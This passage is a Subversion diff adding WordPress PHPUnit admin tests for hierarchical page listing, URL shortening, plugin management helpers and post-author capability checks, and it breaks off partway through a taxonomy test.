Index: /tags/5.0.20/tests/phpunit/tests/admin/includesListTable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesListTable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesListTable.php	(revision 56912)
@@ -0,0 +1,269 @@
+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesListTable extends WP_UnitTestCase {
+	protected static $top = array();
+	protected static $children = array();
+	protected static $grandchildren = array();
+	protected static $post_ids = array();
+
+	/**
+	 * @var WP_Posts_List_Table
+	 */
+	protected $table;
+
+	function setUp() {
+		parent::setUp();
+		$this->table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => 'edit-page' ) );
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		// note that our top/children/grandchildren arrays are 1-indexed
+
+		// create top level pages
+		$num_posts = 5;
+		foreach ( range( 1, $num_posts ) as $i ) {
+			$p = $factory->post->create_and_get( array(
+				'post_type'  => 'page',
+				'post_title' => sprintf( 'Top Level Page %d', $i ),
+			) );
+
+			self::$top[ $i ] = $p;
+			self::$post_ids[] = $p->ID;
+		}
+
+		// create child pages
+		$num_children = 3;
+		foreach ( self::$top as $top => $top_page ) {
+			foreach ( range( 1, $num_children ) as $i ) {
+				$p = $factory->post->create_and_get( array(
+					'post_type'   => 'page',
+					'post_parent' => $top_page->ID,
+					'post_title'  => sprintf( 'Child %d', $i ),
+				) );
+
+				self::$children[ $top ][ $i ] = $p;
+				self::$post_ids[] = $p->ID;
+			}
+		}
+
+		// create grand-child pages for the third and fourth top-level pages
+		$num_grandchildren = 3;
+		foreach ( range( 3, 4 ) as $top ) {
+			foreach ( self::$children[ $top ] as $child => $child_page ) {
+				foreach ( range( 1, $num_grandchildren ) as $i ) {
+					$p = $factory->post->create_and_get( array(
+						'post_type'   => 'page',
+						'post_parent' => $child_page->ID,
+						'post_title'  => sprintf( 'Grandchild %d', $i ),
+					) );
+
+					self::$grandchildren[ $top ][ $child ][ $i ] = $p;
+					self::$post_ids[] = $p->ID;
+				}
+			}
+		}
+	}
+
+	/**
+	 * @ticket 15459
+	 */
+	function test_list_hierarchical_pages_first_page() {
+		$this->_test_list_hierarchical_page( array(
+			'paged'          => 1,
+			'posts_per_page' => 2,
+		), array(
+			self::$top[1]->ID,
+			self::$children[1][1]->ID,
+		) );
+	}
+
+	/**
+	 * @ticket 15459
+	 */
+	function test_list_hierarchical_pages_second_page() {
+		$this->_test_list_hierarchical_page( array(
+			'paged'          => 2,
+			'posts_per_page' => 2,
+		), array(
+			self::$top[1]->ID,
+			self::$children[1][2]->ID,
+			self::$children[1][3]->ID,
+		) );
+	}
+
+	/**
+	 * @ticket 15459
+	 */
+	function test_search_hierarchical_pages_first_page() {
+		$this->_test_list_hierarchical_page( array(
+			'paged'          => 1,
+			'posts_per_page' => 2,
+			's'              => 'Child',
+		), array(
+			self::$children[1][1]->ID,
+			self::$children[1][2]->ID,
+		) );
+	}
+
+	/**
+	 * @ticket 15459
+	 */
+	function test_search_hierarchical_pages_second_page() {
+		$this->_test_list_hierarchical_page( array(
+			'paged'          => 2,
+			'posts_per_page' => 2,
+			's'              => 'Top',
+		), array(
+			self::$top[3]->ID,
+			self::$top[4]->ID,
+		) );
+	}
+
+	/**
+	 * @ticket 15459
+	 */
+	function test_grandchildren_hierarchical_pages_first_page() {
+		// page 6 is the first page with grandchildren
+		$this->_test_list_hierarchical_page( array(
+			'paged'          => 6,
+			'posts_per_page' => 2,
+		), array(
+			self::$top[3]->ID,
+			self::$children[3][1]->ID,
+			self::$grandchildren[3][1][1]->ID,
+			self::$grandchildren[3][1][2]->ID,
+		) );
+	}
+
+	/**
+	 * @ticket 15459
+	 */
+	function test_grandchildren_hierarchical_pages_second_page() {
+		// page 7 is the second page with grandchildren
+		$this->_test_list_hierarchical_page( array(
+			'paged'          => 7,
+			'posts_per_page' => 2,
+		), array(
+			self::$top[3]->ID,
+			self::$children[3][1]->ID,
+			self::$grandchildren[3][1][3]->ID,
+			self::$children[3][2]->ID,
+		) );
+	}
+
+	/**
+	 * Helper function to test the output of a page which uses `WP_Posts_List_Table`.
+	 *
+	 * @param array $args         Query args for the list of pages.
+	 * @param array $expected_ids Expected IDs of pages returned.
+	 */
+	protected function _test_list_hierarchical_page( array $args, array $expected_ids ) {
+		$matches = array();
+
+		$_REQUEST['paged']   = $args['paged'];
+		$GLOBALS['per_page'] = $args['posts_per_page'];
+
+		$args = array_merge( array(
+			'post_type' => 'page',
+		), $args );
+
+		// Mimic the behaviour of `wp_edit_posts_query()`:
+		if ( ! isset( $args['orderby'] ) ) {
+			$args['orderby']                = 'menu_order title';
+			$args['order']                  = 'asc';
+			$args['posts_per_page']         = -1;
+			$args['posts_per_archive_page'] = -1;
+		}
+
+		$pages = new WP_Query( $args );
+
+		ob_start();
+		$this->table->set_hierarchical_display( true );
+		$this->table->display_rows( $pages->posts );
+		$output = ob_get_clean();
+
+		// Clean up.
+		unset( $_REQUEST['paged'] );
+		unset( $GLOBALS['per_page'] );
+
+		preg_match_all( '|<tr[^>]*>|', $output, $matches );
+
+		$this->assertCount( count( $expected_ids ), array_keys( $matches[0] ) );
+
+		foreach ( $expected_ids as $id ) {
+			$this->assertContains( sprintf( 'id="post-%d"', $id ), $output );
+		}
+	}
+
+	/**
+	 * @ticket 37407
+	 */
+	function test_filter_button_should_not_be_shown_if_there_are_no_posts() {
+		// Set post type to a non-existent one.
+		$this->table->screen->post_type = 'foo';
+
+		ob_start();
+		$this->table->extra_tablenav( 'top' );
+		$output = ob_get_clean();
+
+		$this->assertNotContains( 'id="post-query-submit"', $output );
+	}
+
+	/**
+	 * @ticket 37407
+	 */
+	function test_months_dropdown_should_not_be_shown_if_there_are_no_posts() {
+		// Set post type to a non-existent one.
+		$this->table->screen->post_type = 'foo';
+
+		ob_start();
+		$this->table->extra_tablenav( 'top' );
+		$output = ob_get_clean();
+
+		$this->assertNotContains( 'id="filter-by-date"', $output );
+	}
+
+	/**
+	 * @ticket 37407
+	 */
+	function test_category_dropdown_should_not_be_shown_if_there_are_no_posts() {
+		// Set post type to a non-existent one.
+		$this->table->screen->post_type = 'foo';
+
+		ob_start();
+		$this->table->extra_tablenav( 'top' );
+		$output = ob_get_clean();
+
+		$this->assertNotContains( 'id="cat"', $output );
+	}
+
+	/**
+	 * @ticket 38341
+	 */
+	public function test_empty_trash_button_should_not_be_shown_if_there_are_no_posts() {
+		// Set post type to a non-existent one.
+		$this->table->screen->post_type = 'foo';
+
+		ob_start();
+		$this->table->extra_tablenav( 'top' );
+		$output = ob_get_clean();
+
+		$this->assertNotContains( 'id="delete_all"', $output );
+	}
+
+	/**
+	 * @ticket 38341
+	 */
+	public function test_empty_trash_button_should_not_be_shown_if_there_are_no_comments() {
+		$table = _get_list_table( 'WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+
+		ob_start();
+		$table->extra_tablenav( 'top' );
+		$output = ob_get_clean();
+
+		$this->assertNotContains( 'id="delete_all"', $output );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesMisc.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesMisc.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesMisc.php	(revision 56912)
@@ -0,0 +1,25 @@
+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesMisc extends WP_UnitTestCase {
+	function test_shorten_url() {
+		$tests = array(
+			'wordpress\.org/about/philosophy'
+				=> 'wordpress\.org/about/philosophy', // no longer strips slashes
+			'wordpress.org/about/philosophy'
+				=> 'wordpress.org/about/philosophy',
+			'http://wordpress.org/about/philosophy/'
+				=> 'wordpress.org/about/philosophy', // remove http, trailing slash
+			'http://www.wordpress.org/about/philosophy/'
+				=> 'wordpress.org/about/philosophy', // remove http, www
+			'http://wordpress.org/about/philosophy/#box'
+				=> 'wordpress.org/about/philosophy/#box', // don't shorten 35 characters
+			'http://wordpress.org/about/philosophy/#decisions'
+				=> 'wordpress.org/about/philosophy/#&hellip;', // shorten to 32 if > 35 after cleaning
+		);
+		foreach ( $tests as $k => $v )
+			$this->assertEquals( $v, url_shorten( $k ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesPlugin.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesPlugin.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesPlugin.php	(revision 56912)
@@ -0,0 +1,494 @@
+<?php
+/**
+ * @group plugins
+ * @group admin
+ */
+class Tests_Admin_includesPlugin extends WP_UnitTestCase {
+	function test_get_plugin_data() {
+		$data = get_plugin_data( DIR_TESTDATA . '/plugins/hello.php' );
+
+		$default_headers = array(
+			'Name' => 'Hello Dolly',
+			'Title' => '<a href="http://wordpress.org/#">Hello Dolly</a>',
+			'PluginURI' => 'http://wordpress.org/#',
+			'Description' => 'This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page. <cite>By <a href="http://ma.tt/">Matt Mullenweg</a>.</cite>',
+			'Author' => '<a href="http://ma.tt/">Matt Mullenweg</a>',
+			'AuthorURI' => 'http://ma.tt/',
+			'Version' => '1.5.1',
+			'TextDomain' => 'hello-dolly',
+			'DomainPath' => ''
+		);
+
+		$this->assertTrue( is_array($data) );
+
+		foreach ($default_headers as $name => $value) {
+			$this->assertTrue(isset($data[$name]));
+			$this->assertEquals($value, $data[$name]);
+		}
+	}
+
+	function test_menu_page_url() {
+		$current_user = get_current_user_id();
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		update_option( 'siteurl', 'http://example.com' );
+
+		// add some pages
+		add_options_page( 'Test Settings', 'Test Settings', 'manage_options', 'testsettings', 'mt_settings_page' );
+		add_management_page( 'Test Tools', 'Test Tools', 'manage_options', 'testtools', 'mt_tools_page' );
+		add_menu_page( 'Test Toplevel', 'Test Toplevel', 'manage_options', 'mt-top-level-handle', 'mt_toplevel_page' );
+		add_submenu_page( 'mt-top-level-handle', 'Test Sublevel', 'Test Sublevel', 'manage_options', 'sub-page', 'mt_sublevel_page' );
+		add_submenu_page( 'mt-top-level-handle', 'Test Sublevel 2', 'Test Sublevel 2', 'manage_options', 'sub-page2', 'mt_sublevel_page2' );
+		add_theme_page( 'With Spaces', 'With Spaces', 'manage_options', 'With Spaces', 'mt_tools_page' );
+		add_pages_page( 'Appending Query Arg', 'Test Pages', 'edit_pages', 'testpages', 'mt_pages_page' );
+
+		$expected['testsettings'] = 'http://example.com/wp-admin/options-general.php?page=testsettings';
+		$expected['testtools'] = 'http://example.com/wp-admin/tools.php?page=testtools';
+		$expected['mt-top-level-handle'] = 'http://example.com/wp-admin/admin.php?page=mt-top-level-handle';
+		$expected['sub-page'] = 'http://example.com/wp-admin/admin.php?page=sub-page';
+		$expected['sub-page2'] = 'http://example.com/wp-admin/admin.php?page=sub-page2';
+		$expected['not_registered'] = '';
+		$expected['With Spaces'] = 'http://example.com/wp-admin/themes.php?page=With%20Spaces';
+		$expected['testpages'] = 'http://example.com/wp-admin/edit.php?post_type=page&#038;page=testpages';
+
+		foreach ($expected as $name => $value) {
+			$this->assertEquals( $value, menu_page_url( $name, false ) );
+		}
+
+		wp_set_current_user( $current_user );
+	}
+
+	function test_is_plugin_active_true() {
+		activate_plugin( 'hello.php' );
+		$test = is_plugin_active( 'hello.php' );
+		$this->assertTrue( $test );
+
+		deactivate_plugins( 'hello.php' );
+	}
+
+	function test_is_plugin_active_false() {
+		deactivate_plugins( 'hello.php' );
+		$test = is_plugin_active( 'hello.php' );
+		$this->assertFalse( $test );
+	}
+
+	function test_is_plugin_inactive_true() {
+		deactivate_plugins( 'hello.php' );
+		$test = is_plugin_inactive( 'hello.php' );
+		$this->assertTrue( $test );
+	}
+
+	function test_is_plugin_inactive_false() {
+		activate_plugin( 'hello.php' );
+		$test = is_plugin_inactive( 'hello.php' );
+		$this->assertFalse( $test );
+
+		deactivate_plugins( 'hello.php' );
+	}
+
+	/**
+	 * @covers ::get_plugin_files
+	 */
+	public function test_get_plugin_files_single() {
+		$name = 'hello.php';
+		$this->assertEquals( array( $name ), get_plugin_files( $name ) );
+	}
+
+	/**
+	 * @covers ::get_plugin_files
+	 */
+	public function test_get_plugin_files_folder() {
+		$plugin_dir = WP_PLUGIN_DIR . '/list_files_test_plugin';
+		@mkdir( $plugin_dir );
+		$plugin = $this->_create_plugin(null, 'list_files_test_plugin.php', $plugin_dir );
+
+		$sub_dir = trailingslashit( dirname( $plugin[1] ) ) . 'subdir';
+		@mkdir( $sub_dir );
+		@file_put_contents( $sub_dir . '/subfile.php', '<?php // Silence.' );
+
+		$plugin_files = get_plugin_files( plugin_basename( $plugin[1] ) );
+		$expected = array(
+			'list_files_test_plugin/list_files_test_plugin.php',
+			'list_files_test_plugin/subdir/subfile.php',
+		);
+		$this->assertEquals( $expected, $plugin_files );
+
+		unlink( $sub_dir . '/subfile.php' );
+		unlink( $plugin[1] );
+		rmdir( $sub_dir );
+		rmdir( $plugin_dir );
+	}
+
+	/**
+	 * @covers ::get_mu_plugins
+	 */
+	public function test_get_mu_plugins_when_mu_plugins_exists_but_is_empty() {
+		if ( is_dir( WPMU_PLUGIN_DIR ) ) {
+			$exists = true;
+			$this->_back_up_mu_plugins();
+		} else {
+			$exists = false;
+			mkdir( WPMU_PLUGIN_DIR );
+		}
+
+		$this->assertEquals( array(), get_mu_plugins() );
+
+		// Clean up.
+		if ( $exists ) {
+			$this->_restore_mu_plugins();
+		} else {
+			rmdir( WPMU_PLUGIN_DIR );
+		}
+	}
+
+	/**
+	 * @covers ::get_mu_plugins
+	 */
+	public function test_get_mu_plugins_when_mu_plugins_directory_does_not_exist() {
+		$exists = false;
+		if ( is_dir( WPMU_PLUGIN_DIR ) ) {
+			$exists = true;
+			$this->_back_up_mu_plugins();
+			rmdir( WPMU_PLUGIN_DIR );
+		}
+
+		$this->assertEquals( array(), get_mu_plugins() );
+
+		// Clean up.
+		if ( $exists ) {
+			mkdir( WPMU_PLUGIN_DIR );
+			$this->_restore_mu_plugins();
+		}
+	}
+
+	/**
+	 * @covers ::get_mu_plugins
+	 */
+	public function test_get_mu_plugins_should_ignore_index_php_containing_silence_is_golden() {
+		if ( is_dir( WPMU_PLUGIN_DIR ) ) {
+			$exists = true;
+			$this->_back_up_mu_plugins();
+		} else {
+			$exists = false;
+			mkdir( WPMU_PLUGIN_DIR );
+		}
+
+		$this->_create_plugin( '<?php\n//Silence is golden.', 'index.php', WPMU_PLUGIN_DIR );
+		$this->assertEquals( array(), get_mu_plugins() );
+
+		// Clean up.
+		unlink( WPMU_PLUGIN_DIR . '/index.php' );
+		if ( $exists ) {
+			$this->_restore_mu_plugins();
+		} else {
+			rmdir( WPMU_PLUGIN_DIR );
+		}
+	}
+
+	/**
+	 * @covers ::get_mu_plugins
+	 */
+	public function test_get_mu_plugins_should_not_ignore_index_php_containing_something_other_than_silence_is_golden() {
+		if ( is_dir( WPMU_PLUGIN_DIR ) ) {
+			$exists = true;
+			$this->_back_up_mu_plugins();
+		} else {
+			$exists = false;
+			mkdir( WPMU_PLUGIN_DIR );
+		}
+
+		$this->_create_plugin( '<?php\n//Silence is not golden.', 'index.php', WPMU_PLUGIN_DIR );
+		$found = get_mu_plugins();
+		$this->assertEquals( array( 'index.php' ), array_keys( $found ) );
+
+		// Clean up.
+		unlink( WPMU_PLUGIN_DIR . '/index.php' );
+		if ( $exists ) {
+			$this->_restore_mu_plugins();
+		} else {
+			rmdir( WPMU_PLUGIN_DIR );
+		}
+	}
+
+	/**
+	 * @covers ::get_mu_plugins
+	 */
+	public function test_get_mu_plugins_should_ignore_files_without_php_extensions() {
+		if ( is_dir( WPMU_PLUGIN_DIR ) ) {
+			$exists = true;
+			$this->_back_up_mu_plugins();
+		} else {
+			$exists = false;
+			mkdir( WPMU_PLUGIN_DIR );
+		}
+
+		$this->_create_plugin( '<?php\n//Test', 'foo.php', WPMU_PLUGIN_DIR );
+		$this->_create_plugin( '<?php\n//Test 2', 'bar.txt', WPMU_PLUGIN_DIR );
+		$found = get_mu_plugins();
+		$this->assertEquals( array( 'foo.php' ), array_keys( $found ) );
+
+		// Clean up.
+		unlink( WPMU_PLUGIN_DIR . '/foo.php' );
+		unlink( WPMU_PLUGIN_DIR . '/bar.txt' );
+		if ( $exists ) {
+			$this->_restore_mu_plugins();
+		} else {
+			rmdir( WPMU_PLUGIN_DIR );
+		}
+	}
+
+	/**
+	 * @covers ::_sort_uname_callback
+	 */
+	public function test__sort_uname_callback() {
+		$this->assertLessThan( 0, _sort_uname_callback( array( 'Name' => 'a' ), array( 'Name' => 'b' ) ) );
+		$this->assertGreaterThan( 0, _sort_uname_callback( array( 'Name' => 'c' ), array( 'Name' => 'b' ) ) );
+		$this->assertEquals( 0, _sort_uname_callback( array( 'Name' => 'a' ), array( 'Name' => 'a' ) ) );
+	}
+
+	/**
+	 * @covers ::get_dropins
+	 */
+	public function test_get_dropins_empty() {
+		$this->_back_up_drop_ins();
+
+		$this->assertEquals( array(), get_dropins() );
+
+		// Clean up.
+		$this->_restore_drop_ins();
+	}
+
+	/**
+	 * @covers ::get_dropins
+	 */
+	public function test_get_dropins_not_empty() {
+		$this->_back_up_drop_ins();
+
+		$p1 = $this->_create_plugin( "<?php\n//Test", 'advanced-cache.php', WP_CONTENT_DIR );
+		$p2 = $this->_create_plugin( "<?php\n//Test", 'not-a-dropin.php', WP_CONTENT_DIR );
+
+		$dropins = get_dropins();
+		$this->assertEquals( array( 'advanced-cache.php' ), array_keys( $dropins ) );
+
+		unlink( $p1[1] );
+		unlink( $p2[1] );
+
+		// Clean up.
+		$this->_restore_drop_ins();
+	}
+
+	/**
+	 * @covers ::is_network_only_plugin
+	 */
+	public function test_is_network_only_plugin_hello() {
+		$this->assertFalse( is_network_only_plugin( 'hello.php' ) );
+	}
+
+	/**
+	 * @covers ::is_network_only_plugin
+	 */
+	public function test_is_network_only_plugin() {
+		$p = $this->_create_plugin( "<?php\n/*\nPlugin Name: test\nNetwork: true" );
+
+		$this->assertTrue( is_network_only_plugin( $p[0] ) );
+
+		unlink( $p[1] );
+	}
+
+	/**
+	 * @covers ::activate_plugins
+	 */
+	public function test_activate_plugins_single_no_array() {
+		$name = 'hello.php';
+		activate_plugins( $name );
+		$this->assertTrue( is_plugin_active( $name ) );
+		deactivate_plugins( $name );
+	}
+
+	/**
+	 * @covers ::activate_plugins
+	 */
+	public function test_activate_plugins_single_array() {
+		$name = 'hello.php';
+		activate_plugins( array( $name ) );
+		$this->assertTrue( is_plugin_active( $name ) );
+		deactivate_plugins( $name );
+	}
+
+	/**
+	 * @covers ::validate_active_plugins
+	 */
+	public function test_validate_active_plugins_remove_invalid() {
+		$plugin = $this->_create_plugin();
+
+		activate_plugin( $plugin[ 0 ] );
+		unlink( $plugin[ 1 ] );
+
+		$result = validate_active_plugins();
+		$this->assertTrue( isset( $result[ $plugin[ 0 ] ] ) );
+	}
+
+	/**
+	 * @covers ::validate_active_plugins
+	 */
+	public function test_validate_active_plugins_empty() {
+		$this->assertEquals( array(), validate_active_plugins() );
+	}
+
+	/**
+	 * @covers ::is_uninstallable_plugin
+	 */
+	public function test_is_uninstallable_plugin() {
+		$this->assertFalse( is_uninstallable_plugin( 'hello' ) );
+	}
+
+	/**
+	 * @covers ::is_uninstallable_plugin
+	 */
+	public function test_is_uninstallable_plugin_true() {
+		$plugin = $this->_create_plugin();
+
+		$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );
+		$uninstallable_plugins[ $plugin[0] ] = true;
+		update_option( 'uninstall_plugins', $uninstallable_plugins );
+
+		$this->assertTrue( is_uninstallable_plugin( $plugin[0] ) );
+
+		unset( $uninstallable_plugins[ $plugin[0] ] );
+		update_option( 'uninstall_plugins', $uninstallable_plugins );
+
+		unlink( $plugin[1] );
+	}
+
+	/**
+	 * Generate a plugin.
+	 *
+	 * This creates a single-file plugin.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @access private
+	 *
+	 * @param string $data     Optional. Data for the plugin file. Default is a dummy plugin header.
+	 * @param string $filename Optional. Filename for the plugin file. Default is a random string.
+	 * @param string $dir_path Optional. Path for directory where the plugin should live.
+	 * @return array Two-membered array of filename and full plugin path.
+	 */
+	private function _create_plugin( $data = "<?php\n/*\nPlugin Name: Test\n*/", $filename = false, $dir_path = false ) {
+		if ( false === $filename ) {
+			$filename = rand_str() . '.php';
+		}
+
+		if ( false === $dir_path ) {
+			$dir_path = WP_PLUGIN_DIR;
+		}
+
+		$full_name = $dir_path . '/' . wp_unique_filename( $dir_path, $filename );
+
+		$file = fopen( $full_name, 'w' );
+		fwrite( $file, $data );
+		fclose( $file );
+
+		return array( $filename, $full_name );
+	}
+
+	/**
+	 * Move existing mu-plugins to wp-content/mu-plugin/backup.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @access private
+	 */
+	private function _back_up_mu_plugins() {
+		if ( is_dir( WPMU_PLUGIN_DIR ) ) {
+			$mu_bu_dir = WP_CONTENT_DIR . '/mu-plugin-backup';
+			if ( ! is_dir( $mu_bu_dir ) ) {
+				mkdir( $mu_bu_dir );
+			}
+
+			$files_to_move = array();
+			if ( $mu_plugins = opendir( WPMU_PLUGIN_DIR ) ) {
+				while ( false !== $plugin = readdir( $mu_plugins ) ) {
+					if ( 0 !== strpos( $plugin, '.' ) ) {
+						$files_to_move[] = $plugin;
+					}
+				}
+			}
+
+			@closedir( $mu_plugins );
+
+			foreach ( $files_to_move as $file_to_move ) {
+				$f = rename( WPMU_PLUGIN_DIR . '/' . $file_to_move, $mu_bu_dir . '/' . $file_to_move );
+			}
+		}
+	}
+
+	/**
+	 * Restore backed-up mu-plugins.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @access private
+	 */
+	private function _restore_mu_plugins() {
+		$mu_bu_dir = WP_CONTENT_DIR . '/mu-plugin-backup';
+		$files_to_move = array();
+		if ( is_dir( $mu_bu_dir ) && $mu_plugins = opendir( $mu_bu_dir ) ) {
+			while ( false !== $plugin = readdir( $mu_plugins ) ) {
+				if ( 0 !== strpos( $plugin, '.' ) ) {
+					$files_to_move[] = $plugin;
+				}
+			}
+		}
+
+		@closedir( $mu_plugins );
+
+		foreach ( $files_to_move as $file_to_move ) {
+			rename( $mu_bu_dir . '/' . $file_to_move, WPMU_PLUGIN_DIR . '/' . $file_to_move );
+		}
+
+		if ( is_dir( $mu_bu_dir ) ) {
+			rmdir( $mu_bu_dir );
+		}
+	}
+
+	/**
+	 * Move existing drop-ins to wp-content/drop-ins-backup.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @access private
+	 */
+	private function _back_up_drop_ins() {
+		$di_bu_dir = WP_CONTENT_DIR . '/drop-ins-backup';
+		if ( ! is_dir( $di_bu_dir ) ) {
+			mkdir( $di_bu_dir );
+		}
+
+		foreach( _get_dropins() as $file_to_move => $v ) {
+			if ( file_exists( WP_CONTENT_DIR . '/' . $file_to_move ) ) {
+				rename( WP_CONTENT_DIR . '/' . $file_to_move, $di_bu_dir . '/' . $file_to_move );
+			}
+		}
+	}
+
+	/**
+	 * Restore backed-up drop-ins.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @access private
+	 */
+	private function _restore_drop_ins() {
+		$di_bu_dir = WP_CONTENT_DIR . '/drop-ins-backup';
+
+		foreach( _get_dropins() as $file_to_move => $v ) {
+			if ( file_exists( $di_bu_dir . '/' . $file_to_move ) ) {
+				rename( $di_bu_dir . '/' . $file_to_move, WP_CONTENT_DIR . '/' . $file_to_move );
+			}
+		}
+
+		if ( is_dir( $di_bu_dir ) ) {
+			rmdir( $di_bu_dir );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesPost.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesPost.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesPost.php	(revision 56912)
@@ -0,0 +1,727 @@
+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_Includes_Post extends WP_UnitTestCase {
+	protected static $contributor_id;
+	protected static $author_ids;
+	protected static $editor_id;
+	protected static $admin_id;
+	protected static $post_id;
+
+	protected static $user_ids = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_ids = self::$author_ids = $factory->user->create_many( 2, array( 'role' => 'author' ) );
+
+		self::$user_ids[] = self::$contributor_id = $factory->user->create( array( 'role' => 'contributor' ) );
+		self::$user_ids[] = self::$editor_id = $factory->user->create( array( 'role' => 'editor' ) );
+		self::$user_ids[] = self::$admin_id = $factory->user->create( array( 'role' => 'administrator' ) );
+
+		self::$post_id = $factory->post->create();
+	}
+
+	function test__wp_translate_postdata_cap_checks_contributor() {
+		wp_set_current_user( self::$contributor_id );
+
+		// Create New Draft Post
+		$_post_data = array();
+		$_post_data['post_author'] = self::$contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+
+		// Submit Post for Approval
+		$_post_data = array();
+		$_post_data['post_author'] = self::$contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['publish'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'pending', $_results['post_status'] );
+
+		// Create New Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_author'] = self::$editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+		$this->assertEquals( 'Sorry, you are not allowed to create posts as this user.', $_results->get_error_message() );
+
+		// Edit Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_ID'] = self::factory()->post->create( array( 'post_author' => self::$editor_id ) );
+		$_post_data['post_author'] = self::$editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['post_status'] = 'draft';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( true, $_post_data );
+		$this->assertInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+		$this->assertEquals( 'Sorry, you are not allowed to edit posts as this user.', $_results->get_error_message() );
+	}
+
+	function test__wp_translate_postdata_cap_checks_editor() {
+		wp_set_current_user( self::$editor_id );
+
+		// Create New Draft Post
+		$_post_data = array();
+		$_post_data['post_author'] = self::$editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+
+		// Publish Post
+		$_post_data = array();
+		$_post_data['post_author'] = self::$editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['publish'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'publish', $_results['post_status'] );
+
+		// Create New Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_author'] = self::$contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+
+		// Edit Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_ID'] = self::factory()->post->create( array( 'post_author' => self::$contributor_id ) );
+		$_post_data['post_author'] = self::$contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['post_status'] = 'draft';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( true, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+	}
+
+	/**
+	 * edit_post() should convert an existing auto-draft to a draft.
+	 *
+	 * @ticket 25272
+	 */
+	function test_edit_post_auto_draft() {
+		wp_set_current_user( self::$editor_id );
+		$post = self::factory()->post->create_and_get( array( 'post_status' => 'auto-draft' ) );
+		$this->assertEquals( 'auto-draft', $post->post_status );
+		$post_data = array(
+			'post_title' => 'Post title',
+			'content' => 'Post content',
+			'post_type' => 'post',
+			'post_ID' => $post->ID,
+		);
+		edit_post( $post_data );
+		$this->assertEquals( 'draft', get_post( $post->ID )->post_status );
+	}
+
+	/**
+	 * @ticket 30615
+	 */
+	public function test_edit_post_should_parse_tax_input_by_name_rather_than_slug_for_nonhierarchical_taxonomies() {
+		wp_set_current_user( self::$editor_id );
+
+		register_taxonomy( 'wptests_tax', array( 'post' ) );
+		$t1 = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'name' => 'foo',
+			'slug' => 'bar',
+		) );
+		$t2 = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'name' => 'bar',
+			'slug' => 'foo',
+		) );
+
+		$post_data = array(
+			'post_ID' => self::$post_id,
+			'tax_input' => array(
